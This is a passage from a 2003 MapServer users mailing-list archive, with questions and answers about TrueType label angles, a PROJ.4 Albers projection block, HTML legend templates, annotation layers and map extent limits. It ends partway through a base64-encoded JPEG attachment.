chance? Freetype2 requires that your font (.ttf) file paths must be absolute in the fontst.txt file. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From morissette at dmsolutions.ca Tue Jan 14 21:42:07 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 00:42:07 -0500 Subject: [Mapserver-users] TrueType Font and Label Angle References: <1042480398.3e22fd0eaaa17@webmail.lmi.net> Message-ID: <3E24F4AF.117CA723@dmsolutions.ca> "Jonathan W. Lowe" wrote: > > For what it's worth, my installation on RedHat 8.0 didn't have the label angle > problems, so it is possible to successfully compile the software on Linux. At > one point in my efforts to overcome the label angle problems, I found a > reference that said the mere presence of freetype2 might force the compiler to > use freetype2 (the supposed culprit in the label angle problem) rather than > freetype1. Do you have root access to the system on which you are compiling? I > had to isolate libraries like gd and freetype in a local directory in order to > be sure my compilation used exactly the libraries I intended it to use. > FYI there is a --enable-force-freetype1 configure switch in 3.6.x and 3.7 to try to force detection of Freetype 1 in priority over freetype 2 when a system has both. Starting with RH 7.x and 8.x this is very useful if you want to compile with your own custom GD with freetype 1.3. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From lyndon.zimmermann at adelaide.edu.au Tue Jan 14 22:00:51 2003 From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann) Date: Wed, 15 Jan 2003 16:30:51 +1030 Subject: [Mapserver-users] Projection to Albers References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au> Message-ID: <3E24F913.BBD9010C@adelaide.edu.au> Thanks for the clues on my previous problems. I'd like to have a go at projection on the fly but having trouble determining the projection parameters for an Albers Projection. The one we use has central meridien 132, latitude of projection's origin 0, 1st standard parallel -18, second standard parallel -36, false easting 0, false northing 0, units meters, spheriod GDA 94 ~ WGS 84. I couldn't find any Albers examples on http://MAPserver.gis.umn.edu/doc36/proj.html. Any clues on how to get started? Regards, Lyndon Z From pramsey at refractions.net Tue Jan 14 22:11:54 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Tue, 14 Jan 2003 22:11:54 -0800 Subject: [Mapserver-users] Projection to Albers In-Reply-To: <3E24F913.BBD9010C@adelaide.edu.au> References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au> <3E24F913.BBD9010C@adelaide.edu.au> Message-ID: <3E24FBAA.6050204@refractions.net> Here's your PROJECTION object: PROJECTION "proj=aea" "ellps=WGS84" "lon_0=132" "lat_0=0" "lat_1=-18" "lat_2=-36" "x_0=0" "y_0=0" END I find that reading the proj4 epsg file often gives me good example for how to express projections in proj4 syntax. Lyndon Zimmermann wrote: > Thanks for the clues on my previous problems. > > I'd like to have a go at projection on the fly but having trouble > determining the projection parameters for an Albers Projection. > The one we use has central meridien 132, latitude of projection's > origin 0, 1st standard parallel -18, second standard parallel -36, > false easting 0, false northing 0, units meters, spheriod GDA 94 ~ WGS > 84. > > I couldn't find any Albers examples on > http://MAPserver.gis.umn.edu/doc36/proj.html. Any clues on how to get > started? > > Regards, > -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From warmerdam at pobox.com Tue Jan 14 22:14:53 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 15 Jan 2003 01:14:53 -0500 Subject: [Mapserver-users] Projection to Albers In-Reply-To: <3E24F913.BBD9010C@adelaide.edu.au> References: <000a01c2b655$fc83d9d0$e89e063d@clickntrac> <3E24AFAC.ED839648@adelaide.edu.au> <3E24F913.BBD9010C@adelaide.edu.au> Message-ID: <3E24FC5D.1050602@pobox.com> Lyndon Zimmermann wrote: > Thanks for the clues on my previous problems. > > I'd like to have a go at projection on the fly but having trouble > determining the projection parameters for an Albers Projection. > The one we use has central meridien 132, latitude of projection's > origin 0, 1st standard parallel -18, second standard parallel -36, > false easting 0, false northing 0, units meters, spheriod GDA 94 ~ WGS > 84. > > I couldn't find any Albers examples on > http://MAPserver.gis.umn.edu/doc36/proj.html. Any clues on how to get > started? Lyndon, The list of projections at the following url has information on how many projections are formulated in PROJ.4: http://www.remotesensing.org/geotiff/proj_list The albers info specifically is at: http://www.remotesensing.org/geotiff/proj_list/albers_equal_area_conic.html Good luck, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Mike Tue Jan 14 22:32:24 2003 From: Mike (Mike) Date: Wed, 15 Jan 2003 07:32:24 +0100 Subject: [Mapserver-users] HTML-Legends ??? Message-ID: <003201c2bc5f$dd8d86b0$111b550a@nt.halle.de> This is a multi-part message in MIME format. ------=_NextPart_000_002F_01C2BC68.3F305CF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hi mapservers, i'm working with mapserver 3.5 with win-binaries on win2000-prof an iis. i can't use the html-legends. i have insert the line: TEMPLATE = "legend.html" in the map-file in the legend-part, but i get following error-message: loadLegend(): Unknown identifier. = (TEMPLATE):(60)=20 hm. ???=20 greetings mikeE. ::: mike.elstermann at itc-halle.de ::: http://www.itc-halle.de ::: = GeoDaten Online? -> http://www.itcgis.de ------=_NextPart_000_002F_01C2BC68.3F305CF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

hi mapservers,
 
i'm working with mapserver 3.5 with = win-binaries on=20 win2000-prof an iis.
i can't use the html-legends. i have = insert the=20 line:   TEMPLATE "legend.html" in the map-file in the=20 legend-part,
but i get following error-message: = loadLegend(): Unknown identifier. = (TEMPLATE):(60)=20
 
hm. ???=20
greetings mikeE.

::: mike.elstermann at itc-halle.de= :::=20 http://www.itc-halle.de ::: = GeoDaten=20 Online? -> http://www.itcgis.de
<= /FONT>
------=_NextPart_000_002F_01C2BC68.3F305CF0-- From raskpost at start.no Tue Jan 14 23:09:20 2003 From: raskpost at start.no (John Doe) Date: Wed, 15 Jan 2003 08:09:20 +0100 (CET) Subject: [Mapserver-users] How to use annotation layer Message-ID: <1042614560.3e25092069bee@epost.start.no> Hi everybody Is there anybody outthere who can show me how to use a annotation layer in MapServer? (it's the kind of annotation which is used in arcview/arcinfo). Thank you, Frode ------------------------------------------------------------ F? din egen @start.no-adresse gratis p? http://www.start.no/ From pram at pramcentral.com Tue Jan 14 23:18:23 2003 From: pram at pramcentral.com (Prashanth Ram) Date: Wed, 15 Jan 2003 02:18:23 -0500 Subject: [Mapserver-users] How to use annotation layer References: <1042614560.3e25092069bee@epost.start.no> Message-ID: <3E250B3F.1CF6F48B@pramcentral.com> Hi Frode: I hope this helps.. I just got mine working a few days ago.. This is the snippet from my map file: LAYER NAME townsp1_anno MAXSCALE 300000 STATUS ON DATA townsp1 TYPE ANNOTATION LABELITEM "Town" CLASS COLOR 255 255 255 LABEL FONT arial MINSIZE 9 MINFEATURESIZE 40 MINDISTANCE 10 POSITION CC SIZE TINY COLOR 0 0 0 #ANGLE 45 END END END # Town annotation This enables the town name to be always on.. Hope this helps... -Prashanth John Doe wrote: > Hi everybody > > Is there anybody outthere who can show me how to use a annotation layer in > MapServer? (it's the kind of annotation which is used in arcview/arcinfo). > > Thank you, > Frode > > ------------------------------------------------------------ > F? din egen @start.no-adresse gratis p? http://www.start.no/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From stefan.schwarzer at grid.unep.ch Wed Jan 15 00:00:23 2003 From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer) Date: Wed, 15 Jan 2003 09:00:23 +0100 Subject: [Mapserver-users] Maximum Extent Message-ID: <5.2.0.9.0.20030115084424.039303e0@gridg.grid.unep.ch> --=====================_176873700==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Hi everybody, is there a possibility to specify the maximum extent within MS? In my case I use layers covering the whole world. The default extent to be= =20 displayed (the first map-image shown) is only Western Europe. If someone=20 zooms out from here I don't want the map to zoom out more then the extent=20 of Europe (west > -20=B0, east < 180=B0). I tried to verify the coordinates after the "$map ->=20 zoompoint($zoom_factor, $my_point, $map -> width, $map -> height,=20 $my_extent);" (MapScript/PHP) event and to re-zoom if the coordinates=20 extend over the max/min values. But this seems to be not very elegant.=20 There should be a nicer solution. The EXTENT command in the map file only=20 gives the coordinates to start with, but not the max/min values, right? Thanks for any hints, Stefan _______________________________________ Stefan Schwarzer Consultant on GEO UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29 Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________=20 --=====================_176873700==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi everybody,

is there a possibility to specify the maximum extent within MS?

In my case I use layers covering the whole world. The default extent to be displayed (the first map-image shown) is only Western Europe. If someone zooms out from here I don't want the map to zoom out more then the extent of Europe (west > -20=B0, east < 180=B0).

I tried to verify the coordinates after the "$map -> zoompoint($zoom_factor, $my_point, $map -> width, $map -> height, $my_extent);" (MapScript/PHP) event and to re-zoom if the coordinates extend over the max/min values. But this seems to be not very elegant. There should be a nicer solution. The EXTENT command in the map file only gives the coordinates to start with, but not the max/min values, right?

Thanks for any hints,

Stefan


        ___= ____________________________________

        = ;Stefan Schwarzer
        Consultan= t on GEO

        UNEP/DEWA/GRI= D-Geneva
        Chemin des Anemones 11
        CH - 1219 Chatelaine
        Switzerland
        Tel: (+41) 22.917.83.49
        Fax: (+41) 22.917.80.29

        Email: stefan.schwarzer at grid.unep.ch
        Internet: http://geodata.grid.unep.ch/
        ___= ____________________________________ --=====================_176873700==.ALT-- From calin at internetgids.be Wed Jan 15 05:59:11 2003 From: calin at internetgids.be (Calin D. NITU) Date: Wed, 15 Jan 2003 14:59:11 +0100 Subject: [Mapserver-users] Mathematical model applied at ANGLE AUTO Message-ID: <00c401c2bc9e$47f8fd70$0900a8c0@cpi.local> This is a multi-part message in MIME format. ------=_NextPart_000_00C0_01C2BCA6.A9A374D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_00C1_01C2BCA6.A9A374D0" ------=_NextPart_001_00C1_01C2BCA6.A9A374D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thanks for the tip for working with TRUTYPE fonts in labeling. Especialy = to Daniel Morissete and John Deck.=20 Now I get another problem.=20 I am tring to figure out the mathematical model which is applied at = declaration ANGLE AUTO in a LABEL. I want to label some streets with = their name stored in NAAM colum of the DBF The results are very strange....=20 ------=_NextPart_001_00C1_01C2BCA6.A9A374D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Thanks for the tip for working with = TRUTYPE fonts=20 in labeling. Especialy to Daniel Morissete and John Deck.
 
Now I get another problem. =
 
I am tring to figure out the = mathematical model=20 which is applied at declaration ANGLE AUTO in a LABEL. I want to label = some=20 streets with their name stored in NAAM colum of the DBF
 
The results are very strange.... =
 
------=_NextPart_001_00C1_01C2BCA6.A9A374D0-- ------=_NextPart_000_00C0_01C2BCA6.A9A374D0 Content-Type: image/jpeg; name="Without ANGLE AUTO.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Without ANGLE AUTO.jpg" /9j/4AAQSkZJRgABAgEASABIAAD/7RNsUGhvdG9zaG9wIDMuMAA4QklNA+0KUmVzb2x1dGlvbgAA AAAQAEgAAAABAAIASAAAAAEAAjhCSU0EDRhGWCBHbG9iYWwgTGlnaHRpbmcgQW5nbGUAAAAABAAA AB44QklNBBkSRlggR2xvYmFsIEFsdGl0dWRlAAAAAAQAAAAeOEJJTQPzC1ByaW50IEZsYWdzAAAA CQAAAAAAAAAAAQA4QklNBAoOQ29weXJpZ2h0IEZsYWcAAAAAAQAAOEJJTScQFEphcGFuZXNlIFBy aW50IEZsYWdzAAAAAAoAAQAAAAAAAAACOEJJTQP1F0NvbG9yIEhhbGZ0b25lIFNldHRpbmdzAAAA SAAvZmYAAQBsZmYABgAAAAAAAQAvZmYAAQChmZoABgAAAAAAAQAyAAAAAQBaAAAABgAAAAAAAQA1 AAAAAQAtAAAABgAAAAAAAThCSU0D+BdDb2xvciBUcmFuc2ZlciBTZXR0aW5ncwAAAHAAAP////// //////////////////////8D6AAAAAD/////////////////////////////A+gAAAAA//////// /////////////////////wPoAAAAAP////////////////////////////8D6AAAOEJJTQQIBkd1 aWRlcwAAAAAQAAAAAQAAAkAAAAJAAAAAADhCSU0EHg1VUkwgb3ZlcnJpZGVzAAAABAAAAAA4QklN BBoGU2xpY2VzAAAAAIUAAAAGAAAAAAAAAAAAAADGAAAA6AAAABIARgBhAHIAYQAgAGEAdQB0AG8A IABsAGEAIABBAE4ARwBMAEUAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAOgAAADG AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADhCSU0EERFJQ0MgVW50YWdnZWQgRmxh ZwAAAAEBADhCSU0EFBdMYXllciBJRCBHZW5lcmF0b3IgQmFzZQAAAAQAAAABOEJJTQQMFU5ldyBX aW5kb3dzIFRodW1ibmFpbAAAD7QAAAABAAAAcAAAAGAAAAFQAAB+AAAAD5gAGAAB/9j/4AAQSkZJ RgABAgEASABIAAD/7gAOQWRvYmUAZIAAAAAB/9sAhAAMCAgICQgMCQkMEQsKCxEVDwwMDxUYExMV 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 XGttdubi4+c1lTdG+2qKP0LG/uo+ye/4KGQdvxdJlOXU6v1cx1wBk1+mwOfE+3cP63v/AOLZ/LVj a5385x/owdP7bv8ACf8Anv8ArqLqr2MZcwttvn30uexrIh3+EZT6jmq3UanNJsZWx25wABDvaHEV vmG/Tr2v2/mIewe/4JGUDYfihk+Kr5uYzEpFjgXlztjGzALiC73PP0G+xaP6t/I/BM5uI4Q4Vkcw YOoQ9g9/wQcuhrQvH5G3Iy/ttx9TIDdgAeWM2e6aGbTuqY/e73/zn+EWlj9M6Uaq7qGl1ddYdjAu MNDTLq3s/frv/nP+NW76WF+5V9zUnMxQwhraxoYAA5KIwy/e/BjxyMeKzxcX5v8A/9k4QklNBCEa VmVyc2lvbiBjb21wYXRpYmlsaXR5IGluZm8AAAAAVQAAAAEBAAAADwBBAGQAbwBiAGUAIABQAGgA bwB0AG8AcwBoAG8AcAAAABMAQQBkAG8AYgBlACAAUABoAG8AdABvAHMAaABvAHAAIAA2AC4AMAAA AAEAOEJJTQQGDEpQRUcgUXVhbGl0eQAAAAAHAAEAAAABAQD/7gAOQWRvYmUAZIAAAAAB/9sAhAAM CAgICQgMCQkMEQsKCxEVDwwMDxUYExMVExMYEQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwM DAwMDAwMAQ0LCw0ODRAODhAUDg4OFBQODg4OFBEMDAwMDBERDAwMDAwMEQwMDAwMDAwMDAwMDAwM DAwMDAwMDAwMDAwMDAz/wAARCADGAOgDASIAAhEBAxEB/90ABAAP/8QBPwAAAQUBAQEBAQEAAAAA AAAAAwABAgQFBgcICQoLAQABBQEBAQEBAQAAAAAAAAABAAIDBAUGBwgJCgsQAAEEAQMCBAIFBwYI BQMMMwEAAhEDBCESMQVBUWETInGBMgYUkaGxQiMkFVLBYjM0coLRQwclklPw4fFjczUWorKDJkST VGRFwqN0NhfSVeJl8rOEw9N14/NGJ5SkhbSVxNTk9KW1xdXl9VZmdoaWprbG1ub2N0dXZ3eHl6e3 x9fn9xEAAgIBAgQEAwQFBgcHBgU1AQACEQMhMRIEQVFhcSITBTKBkRShsUIjwVLR8DMkYuFygpJD UxVjczTxJQYWorKDByY1wtJEk1SjF2RFVTZ0ZeLys4TD03Xj80aUpIW0lcTU5PSltcXV5fVWZnaG lqa2xtbm9ic3R1dnd4eXp7fH/9oADAMBAAIRAxEAPwD0nc7xKUu8SscZp9d1TzawAkCyPYS1rrdH l7fzWIX7VrL9jH3WODnNcGN3FrWx+lc1rztY7ckckAaJ2QMcyLAd2XeJSl3iVg5XU3Y2R6Di8e3c C+Glzjt211s9Rzt212/9J6atYlxyXurbe4vYNziGw0jc5jXM/SO9j9m5iHvQ7/gk4ZirrXxdSXeJ Sl3iVV+zXf6c/d/5kqGbdnY2Q2mvdcbADU1rXEu1227nb211+l9L3fvpe9Dv+Cvan2/F2Zd4lKXe JWM+7qEM9EOsc86Ate0Q0E3auPs2u9le/wCmgnN6qHvYMexzmuZsYN24scGn87bj72bvf+sI+7Du j259nfl3iUpd4lczkdV6njZ1ePbUTVZtIeBZMOc6ouGxtv8ANv8AR3td/pEVmb1jcBbQ6pu7ZLt8 uMSX1trbb7P3PV9ND3od0+1Pt+L0Mu8SlLvErEbf1MVWPtY5rquQA+HQKj7I3O93q2fm/wCDT239 RrbW/Y8tOz1SQRsDhXun3/mus2+z1Evdh3QMUz0dqXeJVHqvUbsGuo01m6yx+rPcYqYPUybPZ+cy r+b/AOEVCnJ6s9zW2Y1tR2u9UkS0O1dU1u212/c1vvWn9muHF7vuP/kkjmh3UMc+znWfWYsDrWYl 1lDHFrnAHcC31Zft/wBH+iWl0/POdQbxW+kbi0Ns+loB7v8ApJvs9/8A3Id9x/8AJJfZrv8ATu+4 /wDkkvex9/wT7U+34tqXeJSl3iVV+zXf6c/d/wCZKLqLg5jfWPuJHB7Au/eS97H3/BXtT7fi3Jd4 lKXeJVX7Nd/pz93/AJkl9mt/07vu/wDMkvex9/wR7U+zal3iUpd4lZzG5ZEl5eA5zHGuZaQY1Y93 /UuRGVuskMySSNC2CCCPFu7ch7+Pv+C44Mg6fi3Zd4lKXeJVX7Nd/pz93/mSX2a7/Tn7v/Mkfex9 /wAFvtT7NqXeJSl3iVnltjHFr7+PpFp4n6O9hfubuTO3815LX9tk7XyPpBu5/wBL+Q5L3od/wSMU zp+10Zd4lKXeJWfU+q1xZXmAvEAs/Ok8e3epbRE/axHjI/8AJpe9Dv8Ago4pjcN9rnbhqeUlnh0P rLMkWy9oLWmdD/Ve5JH3I1xXpdLeCV8PXd//0O4q6Z064G67Grtse6XOe3dJafY6He32wrBwcImT RXIcX/RH0nfTf/aUsX+ZHxP5UWCquT55eZZ4G4RvsGt9jxKfRFdLGBlksgAQXNcx0f1m+1Frx6Kj NVbaztDZaAPaCXBun5u57lDMkY5f/onMs+TXNc7/AKKOQZhMZCPSD5j7P/RlIdzXFocz6dZ3NHj+ 8z+21ESSQDRtZrg9oc36LgCPgU6FXFdjquA6X1/An9I3+y//AKtFSURR8Ojn9ZbZ6VTmO2EuNe/9 0vH6J/8A7EMpV6t/qVss43tDvvEoWc2x2Hd6Q3Whpcxp7ub72t/zmofS3V/ZBXWZbU5zADyBO+tv /bT2IfpeY/6P/oyG2mIDgWngiD8Cs83dWc97a6xDHuAe8bWlo1btbt3P9vt+n9P/AAn+DQbs3rX6 w6rGIrYG+kS2XF0RY3093u9356dSrdOhzjXteZfWdjzESR+d/bb70RY9uT1Wu91ldTnVWMAYdpJL 2gFo9HY19TnTY3c5v/baK6/rDHyKvUbvMt0Ht21ua0Ru3brHW179/sSpMjrffV00lksyeuu2Nfi+ lDdttgLHD1N306273/onVf8ATWskRSAVIOSSDS4drWg+YdNX/f0ZCyTtoe+J2DfH9U7/APvqC6Hz Dx0+1Kkg5d76Md11TPWcC0NYDE7nNZ9KHfvLPp62+1rnDHLALvSAcYMf6U+36KNFbbogbMhwA0ta HT/Kb7Hf9DYpvrrsje0OLdWk8j+q781ZuT1G1sWHHI9KwQZMlpLq3Q3b727Pent6rlVA/qjrHQdj aySXO02tb7P5Xu/kJUUmWxB6V9n/AKC3hXayNj9zdZbZr/m2N93+f6iQvDY9ZpqJnnVun/CN9v8A nqpj9UsybtleM9lctiy0OZMg+rtBZ9Kl7fTWggRSeIHcX/zS0b+k4uTY+177P0sH2O2jTbt2ub/K Yx6E36v4TbvtAsuNsl5eXky9xa99n9vY39H/ADSvGgNO6n9G4dh9A/16wpMs3HY4bLBqWnw/eYfz 